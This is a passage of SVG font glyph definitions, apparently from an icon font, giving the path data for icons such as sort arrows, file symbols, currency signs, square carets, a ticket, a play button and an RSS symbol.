<glyph unicode="&#xf160;" d="M 184,24q0-3 -2.5-6l-79.75-79.75q-2.5-2.25 -5.75-2.25q-3,0 -5.75,2.25l-80,80q-3.75,4 -1.75,8.75q 2,5 7.5,5l 48,0 l0,344 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-344 l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 448-8l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-208,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 208,0  q 3.5,0 5.75-2.25t 2.25-5.75zM 400,120l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-160,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 160,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 352,248l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-112,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 112,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 304,376l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-64,0  q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 64,0 q 3.5,0 5.75-2.25t 2.25-5.75z"  />
<glyph unicode="&#xf15e;" d="M 297.75,26l 44.25,0 l-18,54.5l-3,11.75q-0.5,4 -0.5,5l-1,0 l-0.75-5q0-0.25 -0.875-4.5t-1.875-7.25zM 184,24q0-3 -2.5-6l-79.75-79.75q-2.5-2.25 -5.75-2.25q-3,0 -5.75,2.25l-80,80q-3.75,4 -1.75,8.75q 2,5 7.5,5l 48,0 l0,344 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-344 l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 415.25-37.5 l0-26.5 l-72,0 l0,26.5 l 18.75,0 l-11.75,36l-60.75,0 l-11.75-36l 18.75,0 l0-26.5 l-71.75,0 l0,26.5 l 17.5,0 l 57.5,165.5l 40.5,0 l 57.5-165.5l 17.5,0 zM 393,250.25l0-58.25 l-146,0 l0,22.5 l 92.25,132.25q 3,4.5 5.25,6.75l 2.75,2.25l0,0.75 q-0.5,0 -1.625-0.125t-1.875-0.125q-3-0.75 -7.5-0.75l-58,0 l0-28.75 l-30,0 l0,57.25 l 141.75,0 l0-22.25 l-92.25-132.5q-1.5-2 -5.25-6.5l-2.75-2.5l0-0.75 l 3.5,0.75q 2.25,0.25 7.5,0.25l 62,0  l0,29.75 l 30.25,0 z" horiz-adv-x="416"  />
<glyph unicode="&#xf15d;" d="M 297.75,282l 44.25,0 l-18,54.5l-3,11.75q-0.5,4 -0.5,5l-1,0 l-0.75-5q0-0.25 -0.875-4.5t-1.875-7.25zM 184,24q0-3 -2.5-6l-79.75-79.75q-2.5-2.25 -5.75-2.25q-3,0 -5.75,2.25l-80,80q-3.75,4 -1.75,8.75q 2,5 7.5,5l 48,0 l0,344 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-344 l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 393-5.75 l0-58.25 l-146,0 l0,22.5 l 92.25,132.25q 3,4.5 5.25,6.75l 2.75,2.25l0,0.75 q-0.5,0 -1.625-0.125t-1.875-0.125q-3-0.75 -7.5-0.75l-58,0 l0-28.75 l-30,0 l0,57.25 l 141.75,0 l0-22.25 l-92.25-132.5q-1.5-2 -5.25-6.5l-2.75-2.75l0-0.5 l 3.5,0.5q 2.25,0.5 7.5,0.5l 62,0 l0,29.75 l 30.25,0 zM 415.25,218.5l0-26.5 l-72,0 l0,26.5 l 18.75,0 l-11.75,36l-60.75,0 l-11.75-36l 18.75,0 l0-26.5 l-71.75,0 l0,26.5 l 17.5,0 l 57.5,165.5l 40.5,0  l 57.5-165.5l 17.5,0 z" horiz-adv-x="416"  />
<glyph unicode="&#xf15c;" d="M 256,40l0,16 q0,3.5 -2.25,5.75t-5.75,2.25l-176,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-16 q0-3.5 2.25-5.75t 5.75-2.25l 176,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 256,104l0,16 q0,3.5 -2.25,5.75t-5.75,2.25l-176,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-16 q0-3.5 2.25-5.75t 5.75-2.25l 176,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 320,192l0-200 q0-10 -7-17t-17-7l-272,0 q-10,0 -17,7 t-7,17l0,336 q0,10 7,17t 17,7l 136,0 l0-136 q0-10 7-17t 17-7l 136,0 zM 319.25,224l-127.25,0 l0,127.25 q 20.5-3.75 33-16.25l 78-78q 12.5-12.5 16.25-33z" horiz-adv-x="320"  />
<glyph unicode="&#xf15b;" d="M 320,192l0-200 q0-10 -7-17t-17-7l-272,0 q-10,0 -17,7t-7,17l0,336 q0,10 7,17t 17,7l 136,0 l0-136 q0-10 7-17t 17-7l 136,0 zM 319.25,224l-127.25,0 l0,127.25 q 20.5-3.75 33-16.25l 78-78q 12.5-12.5 16.25-33z" horiz-adv-x="320"  />
<glyph unicode="&#xf15a;" d="M 291.75,224q 4.5-45.5 -32.75-64.5q 29.25-7 43.75-25.75t 11.25-53.5q-1.75-17.75 -8.125-31.25t-16.125-22.25t-24.25-14.625t-30.375-8.625t-36.375-3.75l0-63.75 l-38.5,0 l0,62.75 q-20,0 -30.5,0.25l0-63 l-38.5,0 l0,63.75 q-4.5,0 -13.5,0.125t-13.75,0.125l-50,0 l 7.75,45.75l 27.75,0 q 12.5,0 14.5,12.75l0,100.5 l 4,0 q-1.5,0.25 -4,0.25l0,71.75 q-3.25,17 -22.25,17l-27.75,0 l0,41  l 53-0.25q 16,0 24.25,0.25l0,63 l 38.5,0 l0-61.75 q 20.5,0.5 30.5,0.5l0,61.25 l 38.5,0 l0-63 q 19.75-1.75 35-5.625t 28.25-11.25t 20.625-19.5t 9.125-28.625zM 238,87.75q0,9 -3.75,16t-9.25,11.5t-14.375,7.625t-16.375,4.625t-18.5,2.25t-17.25,0.75t-16.125-0.25t-11.875-0.25l0-84.5 q 2,0 9.25-0.125t 12-0.125t 13.25,0.375t 14.625,1t 14.25,2.125t 13.875,3.5t 11.875,5.25t 9.875,7.5 t 6.125,10t 2.375,12.75zM 220.25,206.75q0,8.25 -3.125,14.625t-7.625,10.5t-12,7t-13.75,4.125t-15.375,2t-14.5,0.625t-13.5-0.25t-9.875-0.125l0-76.75 q 1.25,0 8.625-0.125t 11.625,0t 12.5,0.5t 13.75,1.375t 12.875,2.75t 12.125,4.625t 9.25,6.75t 6.75,9.625t 2.25,12.75z" horiz-adv-x="320"  />
<glyph unicode="&#xf159;" d="M 128.5,85.25l 20.25,74.75l-39.75,0 l 18.75-75q 0.25-0.25 0.25-0.75t 0.25-0.75q0,0.25 0.125,0.875t 0.125,0.875zM 157.5,192l 8.75,32l-73,0 l 8-32l 56.25,0 zM 205.5,192l 34.75,0 l-8.75,32l-17.5,0 zM 317.75,85l 19.5,75l-40.5,0 l 20.25-74.75q0-0.25 0.125-0.875t 0.375-0.875q0,0.25 0.125,0.75t 0.125,0.75zM 345.5,192l 8.25,32l-74.25,0 l 8.5-32l 57.5,0 zM 448,184l0-16 q0-3.5 -2.25-5.75 t-5.75-2.25l-53.25,0 l-41-154q-1.75-6 -7.75-6l-39.75,0 q-6,0 -7.75,6l-41.5,154l-52.25,0 l-41.75-154q-1.75-6 -7.75-6l-39.75,0 q-2.75,0 -4.875,1.75t-2.625,4.25l-40,154l-52,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 43.75,0 l-8.25,32l-35.5,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 27.25,0 l-22.25,86q-1.25,3.75 1.25,7 q 2.5,3 6.5,3l 34.25,0 q 6.5,0 7.75-6l 22.5-90l 89.75,0 l 24.25,90q 1.75,6 7.75,6l 31.5,0 q 6,0 7.75-6l 24.5-90l 91.25,0 l 23.25,90q 1.25,6 7.75,6l 34.25,0 q 4,0 6.5-3q 2.5-3.25 1.25-7l-22.75-86l 27.75,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-36.25,0 l-8.5-32l 44.75,0 q 3.5,0 5.75-2.25t 2.25-5.75z"  />
<glyph unicode="&#xf158;" d="M 416,88l0-8 q0-33 -23.5-56.5t-56.5-23.5l-32,0 q-33,0 -56.5,23.5t-23.5,56.5l0,120 l-56,0 q-0.5-25.5 -3.625-47.625t-7.625-39t-12.125-31.625t-14.25-24.875t-16.875-19.375t-17.375-14.625t-18.5-11t-17.25-8t-16.375-6.375q-1-0.5 -8-3.25q-2-0.5 -3-0.5q-5.5,0 -7.5,5l-17.75,44.5q-1.25,3.25 0,6.25t 4.25,4.25 q 1.75,0.75 5,1.875t 4.5,1.625q 7.75,3 11.625,4.625t 11.125,5t 11.375,6.5t 10.5,8.125t 10.125,10.625t 8.625,13.375t 7.625,17.125t 5.625,20.875t 4.25,25.75t 1.625,30.75l-64,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,40 q0,3.5 2.25,5.75t 5.75,2.25l 304,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-40 q0-3.5 -2.25-5.75t-5.75-2.25l-56,0 l0-128 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25 l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 320,344l0-40 q0-3.5 -2.25-5.75t-5.75-2.25l-240,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,40 q0,3.5 2.25,5.75t 5.75,2.25l 240,0 q 3.5,0 5.75-2.25t 2.25-5.75z" horiz-adv-x="416"  />
<glyph unicode="&#xf157;" d="M 150.625,0l-43,0 q-3.25,0 -5.625,2.25t-2.375,5.75l0,82.5 l-72,0 q-3.25,0 -5.625,2.25t-2.375,5.75l0,25.75 q0,3.25 2.375,5.625t 5.625,2.375l 72,0 l0,21.25 l-72,0 q-3.25,0 -5.625,2.25t-2.375,5.75l0,26 q0,3.25 2.375,5.625t 5.625,2.375l 53.5,0 l-80.25,144.5q-2,4 0,8q 2.5,4 7,4l 48.5,0 q 4.75,0 7.25-4.5l 53.75-106.25q 4.75-9.5 14-31.25q 2.5,6 7.625,17t 6.875,15.25 l 47.75,105q 2,4.75 7.25,4.75l 47.75,0 q 4.25,0 6.75-4q 2.25-3.5 0.25-7.75l-78.25-144.75l 53.75,0 q 3.25,0 5.625-2.375t 2.375-5.625l0-26 q0-3.5 -2.375-5.75t-5.625-2.25l-72.5,0 l0-21.25 l 72.5,0 q 3.25,0 5.625-2.375t 2.375-5.625l0-25.75 q0-3.5 -2.375-5.75t-5.625-2.25l-72.5,0 l0-82.5 q0-3.25 -2.375-5.625t-5.625-2.375z" horiz-adv-x="256.5"  />
<glyph unicode="&#xf156;" d="M 224.5,266.5l0-25.5 q0-3.5 -2.25-5.75t-5.75-2.25l-42,0 q-5.75-36 -32.25-58.5t-69-27.5q 41.75-44.5 114.75-134q 3.5-4 1-8.5q-2-4.5 -7.25-4.5l-48.75,0 q-4,0 -6.25,3q-76.5,91.75 -124.5,142.75q-2.25,2.25 -2.25,5.5l0,31.75 q0,3.25 2.375,5.625t 5.625,2.375l 28,0 q 33,0 53.125,10.75t 25.625,31.25l-106.75,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,25.5  q0,3.5 2.25,5.75t 5.75,2.25l 103.25,0 q-14.25,28.25 -67,28.25l-36.25,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,33.25 q0,3.5 2.25,5.75t 5.75,2.25l 208,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-25.5 q0-3.5 -2.25-5.75t-5.75-2.25l-58.25,0 q 11.75-15.25 16-36l 42.75,0 q 3.5,0 5.75-2.25t 2.25-5.75z" horiz-adv-x="224.5"  />
<glyph unicode="&#xf155;" d="M 244.5,87.75q0-38.25 -24.875-65.875t-64.625-34.125l0-43.75 q0-3.5 -2.25-5.75t-5.75-2.25l-33.75,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,43.75 q-16.5,2.25 -31.875,7.75t-25.375,11.125t-18.5,12t-11.625,9.375t-4.375,4.5q-4.25,5.25 -0.5,10.25l 25.75,33.75q 1.75,2.5 5.75,3q 3.75,0.5 6-2.25l 0.5-0.5q 28.25-24.75 60.75-31.25q 9.25-2 18.5-2q 20.25,0 35.625,10.75 t 15.375,30.5q0,7 -3.75,13.25t-8.375,10.5t-14.625,9.375t-16.5,8t-20,8.125q-9.75,4 -15.375,6.25t-15.375,6.625t-15.625,7.75t-14.125,8.875t-13.375,10.625t-10.875,12.25t-8.875,14.5t-5.25,16.625t-2.125,19.5q0,34.5 24.5,60.5t 63.75,33.5l0,45 q0,3.25 2.375,5.625t 5.625,2.375l 33.75,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-44 q 14.25-1.5 27.625-5.75t 21.75-8.375 t 15.875-9.375t 9.75-7.25t 3.75-3.5q 4.25-4.5 1.25-9.5l-20.25-36.5q-2-3.75 -5.75-4q-3.5-0.75 -6.75,1.75q-0.75,0.75 -3.625,3t-9.75,6.625t-14.625,8t-18.625,6.5t-21.375,2.875q-23.75,0 -38.75-10.75t-15-27.75q0-6.5 2.125-12t 7.375-10.375t 9.875-8.25t 14-7.75t 15.125-6.75t 17.5-6.875q 13.25-5 20.25-7.875t 19-8.75t 18.875-10.625t 15.5-12.5 t 13.25-15.875t 7.875-19.125t 3.25-23.5z" horiz-adv-x="256"  />
<glyph unicode="&#xf154;" d="M 255,99.75l0-91.75 q0-3.5 -2.25-5.75t-5.75-2.25l-239,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,37.5 q0,3.25 2.375,5.625t 5.625,2.375l 24.25,0 l0,95.75 l-23.75,0 q-3.5,0 -5.75,2.375t-2.25,5.625l0,32.75 q0,3.5 2.25,5.75t 5.75,2.25l 23.75,0 l0,55.75 q0,42.75 30.875,70.5t 78.625,27.75q 46.25,0 83.75-31.25q 2.25-2 2.5-5.125t-1.75-5.625l-25.75-31.75q-2.25-2.75 -5.5-3q-3.25-0.5 -5.75,1.75 q-1.25,1.25 -6.5,4.75t-17.25,8t-23.25,4.5q-21.25,0 -34.25-11.75t-13-30.75l0-53.75 l 76.25,0 q 3.25,0 5.625-2.25t 2.375-5.75l0-32.75 q0-3.25 -2.375-5.625t-5.625-2.375l-76.25,0 l0-94.75 l 103.5,0 l0,45.25 q0,3.25 2.25,5.625t 5.75,2.375l 40.5,0 q 3.5,0 5.75-2.375t 2.25-5.625z" horiz-adv-x="256"  />
<glyph unicode="&#xf153;" d="M 244,57.25l 8.75-39.75q 0.75-3 -0.75-5.625t-4.25-3.625l-1.25-0.25q-1-0.5 -2.625-0.875t-4-1.125t-5.375-1.375t-6.375-1.25t-7.5-1.25t-8.375-1.125t-9.125-0.75t-9.625-0.25q-58.5,0 -102.25,32.625t-59.5,87.875l-23.75,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,28.25 q0,3.25 2.375,5.625t 5.625,2.375l 16.5,0 q-0.5,14.25 0.25,26.25l-16.75,0 q-3.5,0 -5.75,2.25 t-2.25,5.75l0,28.5 q0,3.5 2.25,5.75t 5.75,2.25l 24.5,0 q 16.75,52.5 60.875,84.5t 100.125,32q 25.5,0 48.5-5.75q 2.75-0.75 5-3.75q 1.5-2.75 0.75-6l-10.75-39.75q-0.75-3.25 -3.5-4.875t-6-0.625l-1,0.25q-1,0.25 -2.875,0.625l-4.375,0.875t-5.625,0.875t-6.5,0.75t-7.25,0.625t-7.375,0.25q-31.5,0 -56.5-16t-37.5-44l 117,0 q 4,0 6.25-3q 2.5-3 1.75-6.5 l-6-28.5q-1.25-6.5 -8-6.5l-122,0 q-0.75-9.25 0-26.25l 114.75,0 q 3.75,0 6.25-3q 2.25-3 1.5-6.75l-6-28q-0.5-2.75 -2.75-4.625t-5-1.875l-96.75,0 q 12-29.25 37.375-46.375t 57.125-17.125q 4.5,0 9,0.375t 8.375,0.875t 7.375,1.125t 6.125,1.25t 4.625,1.125l 3,0.75l 1.25,0.5q 3.25,1.25 6.5-0.5q 3-1.75 3.75-5.25z" horiz-adv-x="256"  />
<glyph unicode="&#xf152;" d="M 272,160q0-8.25 -6.75-13l-112-80q-7.75-5.75 -16.5-1.25q-8.75,4.25 -8.75,14.25l0,160 q0,10 8.75,14.25q 8.75,4.5 16.5-1.25l 112-80q 6.75-4.75 6.75-13zM 320,40l0,240 q0,3.5 -2.25,5.75t-5.75,2.25l-240,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-240 q0-3.5 2.25-5.75t 5.75-2.25l 240,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 384,280l0-240 q0-29.75 -21.125-50.875 t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf151;" d="M 286.25,104.75q-4.25-8.75 -14.25-8.75l-160,0 q-10,0 -14.25,8.75q-4.5,8.75 1.25,16.5l 80,112q 4.75,6.75 13,6.75t 13-6.75l 80-112q 5.75-7.75 1.25-16.5zM 320,40l0,240 q0,3.25 -2.375,5.625t-5.625,2.375l-240,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-240 q0-3.25 2.375-5.625t 5.625-2.375l 240,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 384,280l0-240  q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf150;" d="M 286.25,215.25q 4.5-8.75 -1.25-16.5l-80-112q-4.75-6.75 -13-6.75t-13,6.75l-80,112q-5.75,7.75 -1.25,16.5q 4.25,8.75 14.25,8.75l 160,0 q 10,0 14.25-8.75zM 320,40l0,240 q0,3.25 -2.375,5.625t-5.625,2.375l-240,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-240 q0-3.25 2.375-5.625t 5.625-2.375l 240,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 384,280 l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf14e;" d="M 160,112l 64,32l-64,32l0-64 zM 256,259.75l0-135.5 l-128-64l0,135.5 zM 328,160q0,37 -18.25,68.25t-49.5,49.5t-68.25,18.25t-68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25t 68.25,18.25t 49.5,49.5t 18.25,68.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75 t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf14d;" d="M 251.25,108.75l 88,88q 4.75,4.75 4.75,11.25t-4.75,11.25l-88,88q-7.5,7.75 -17.25,3.5q-10-4.25 -10-14.75l0-40 q-29.75,0 -54-4.875t-40.625-12.75t-28.5-19.75t-19.125-23.875t-11.125-27.25t-5.375-27.875t-1.25-27.625q0-45.25 41.75-101q 2.5-3 6.25-3q 1.75,0 3.25,0.75q 5.5,2.25 4.75,8.25q-11,88.5 15.5,118.25q 11.5,13 32.5,18.875 t 56,5.875l0-40 q0-10.5 10-14.75q 3-1.25 6-1.25q 6.5,0 11.25,4.75zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf14c;" d="M 320,152l0,120 q0,6.5 -4.75,11.25t-11.25,4.75l-120,0 q-10.5,0 -14.75-9.75q-4.25-10.25 3.5-17.5l 36-36l-133.5-133.5q-4.75-4.75 -4.75-11.25t 4.75-11.25l 25.5-25.5q 4.75-4.75 11.25-4.75t 11.25,4.75l 133.5,133.5l 36-36q 4.5-4.75 11.25-4.75q 3,0 6.25,1.25q 9.75,4.25 9.75,14.75zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0  q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf14b;" d="M 101,107l 38-38l-13-13l-14,0 l0,24 l-24,0 l0,14 zM 204.5,204.5q 3.5-3.25 -0.75-7.5l-72.75-72.75q-4.25-4.25 -7.5-0.75q-3.5,3.25 0.75,7.5l 72.75,72.75q 4.25,4.25 7.5,0.75zM 136,32l 136,136l-72,72l-136-136l0-72 l 72,0 zM 288,184l 23,23q 7,7 7,17t-7,17l-38,38q-7,7 -17,7t-17-7l-23-23zM 384,280 l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf14a;" d="M 171.25,59.25l 153.5,153.5q 4.75,4.75 4.75,11.25t-4.75,11.25l-25.5,25.5q-4.75,4.75 -11.25,4.75t-11.25-4.75l-116.75-116.75l-52.75,52.75q-4.75,4.75 -11.25,4.75t-11.25-4.75l-25.5-25.5q-4.75-4.75 -4.75-11.25t 4.75-11.25l 89.5-89.5q 4.75-4.75 11.25-4.75t 11.25,4.75zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125 t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf149;" d="M 8,320l 176,0 q 3.25,0 5.625-2.375t 2.375-5.875l0-215.75 l 48,0 q 10,0 14.5-9.25t-2.25-17.25l-80-96q-4.5-5.5 -12.25-5.5t-12.25,5.5l-80,96q-6.5,7.75 -2.25,17.25q 4.5,9.25 14.5,9.25l 48,0 l0,160 l-80,0 q-3.5,0 -6.25,2.75l-40,48q-3.25,3.5 -1,8.5q 2.25,4.75 7.25,4.75z" horiz-adv-x="256"  />
<glyph unicode="&#xf148;" d="M 254.5,233.25q-4.5-9.25 -14.5-9.25l-48,0 l0-216 q0-3.5 -2.25-5.75t-5.75-2.25l-176,0 q-5.25,0 -7.25,4.5q-2,5 1,8.75l 40,48q 2.25,2.75 6.25,2.75l 80,0 l0,160 l-48,0 q-10,0 -14.5,9.25q-4.25,9.25 2.25,17l 80,96q 4.5,5.5 12.25,5.5t 12.25-5.5l 80-96q 6.75-8 2.25-17z" horiz-adv-x="256"  />
<glyph unicode="&#xf147;" d="M 288,184l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-208,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 208,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 320,72l0,208 q0,16.5 -11.75,28.25t-28.25,11.75l-208,0 q-16.5,0 -28.25-11.75t-11.75-28.25l0-208 q0-16.5 11.75-28.25t 28.25-11.75l 208,0 q 16.5,0 28.25,11.75t 11.75,28.25zM 352,280l0-208 q0-29.75 -21.125-50.875 t-50.875-21.125l-208,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,208 q0,29.75 21.125,50.875t 50.875,21.125l 208,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="352"  />
<glyph unicode="&#xf146;" d="M 320,144l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-224,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 224,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125 t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf145;" d="M 256,271l 79-79l-143-143l-79,79zM 203.25,26.25l 154.5,154.5q 4.75,4.75 4.75,11.25t-4.75,11.25l-90.5,90.5q-4.5,4.5 -11.25,4.5t-11.25-4.5l-154.5-154.5q-4.75-4.75 -4.75-11.25t 4.75-11.25l 90.5-90.5q 4.5-4.5 11.25-4.5t 11.25,4.5zM 425.5,185.5l-226.75-227q-9.25-9.25 -22.625-9.25t-22.625,9.25l-31.5,31.5q 14,14 14,34t-14,34 t-34,14t-34-14l-31.25,31.5q-9.25,9.25 -9.25,22.625t 9.25,22.625l 226.75,226.5q 9.25,9.25 22.625,9.25t 22.625-9.25l 31.25-31.25q-14-14 -14-34t 14-34t 34-14t 34,14l 31.5-31.25q 9.25-9.25 9.25-22.625t-9.25-22.625z"  />
<glyph unicode="&#xf144;" d="M 192,352q 52.25,0 96.375-25.75t 69.875-69.875t 25.75-96.375t-25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75zM 288,146.25q 8,4.5 8,13.75t-8,13.75l-136,80q-7.75,4.75 -16,0.25q-8-4.75 -8-14l0-160 q0-9.25 8-14 q 4-2 8-2q 4.25,0 8,2.25z" horiz-adv-x="384"  />
<glyph unicode="&#xf143;" d="M 128,64q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 215.75,40.5q-3.25,58 -44.25,99t-99,44.25q-3.5,0.25 -6-2.25t-2.5-5.75l0-32 q0-3.25 2.125-5.5t 5.375-2.5q 38.5-2.75 66-30.25t 30.25-66q 0.25-3.25 2.5-5.375t 5.5-2.125l 32,0 q 3.25,0 5.75,2.5 t 2.25,6zM 311.75,40.25q-1.25,38.5 -14,74.375t-34.875,65t-51.25,51.25t-65,34.875t-74.375,14q-3.5,0.25 -5.75-2.25q-2.5-2.5 -2.5-5.75l0-32 q0-3.25 2.25-5.5t 5.5-2.5q 51-1.75 94.5-27.875t 69.625-69.625t 27.875-94.5q 0.25-3.25 2.5-5.5t 5.5-2.25l 32,0 q 3.25,0 5.75,2.5q 2.75,2.25 2.25,5.75zM 384,280l0-240 q0-29.75 -21.125-50.875 t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf142;" d="M 96,72l0-48 q0-10 -7-17t-17-7l-48,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 48,0 q 10,0 17-7t 7-17zM 96,200l0-48 q0-10 -7-17t-17-7l-48,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 48,0 q 10,0 17-7t 7-17zM 96,328l0-48 q0-10 -7-17t-17-7l-48,0  q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 48,0 q 10,0 17-7t 7-17z" horiz-adv-x="96"  />
<glyph unicode="&#xf141;" d="M 96,200l0-48 q0-10 -7-17t-17-7l-48,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 48,0 q 10,0 17-7t 7-17zM 224,200l0-48 q0-10 -7-17t-17-7l-48,0 q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 48,0 q 10,0 17-7t 7-17zM 352,200l0-48 q0-10 -7-17t-17-7l-48,0  q-10,0 -17,7t-7,17l0,48 q0,10 7,17t 17,7l 48,0 q 10,0 17-7t 7-17z" horiz-adv-x="352"  />
<glyph unicode="&#xf140;" d="M 256,160q0-26.5 -18.75-45.25t-45.25-18.75t-45.25,18.75t-18.75,45.25t 18.75,45.25t 45.25,18.75t 45.25-18.75t 18.75-45.25zM 288,160q0,39.75 -28.125,67.875t-67.875,28.125t-67.875-28.125t-28.125-67.875t 28.125-67.875t 67.875-28.125t 67.875,28.125t 28.125,67.875zM 320,160q0-53 -37.5-90.5t-90.5-37.5t-90.5,37.5 t-37.5,90.5t 37.5,90.5t 90.5,37.5t 90.5-37.5t 37.5-90.5zM 352,160q0,32.5 -12.75,62.125t-34.125,51t-51,34.125t-62.125,12.75t-62.125-12.75t-51-34.125t-34.125-51t-12.75-62.125t 12.75-62.125t 34.125-51t 51-34.125t 62.125-12.75t 62.125,12.75t 51,34.125t 34.125,51t 12.75,62.125zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
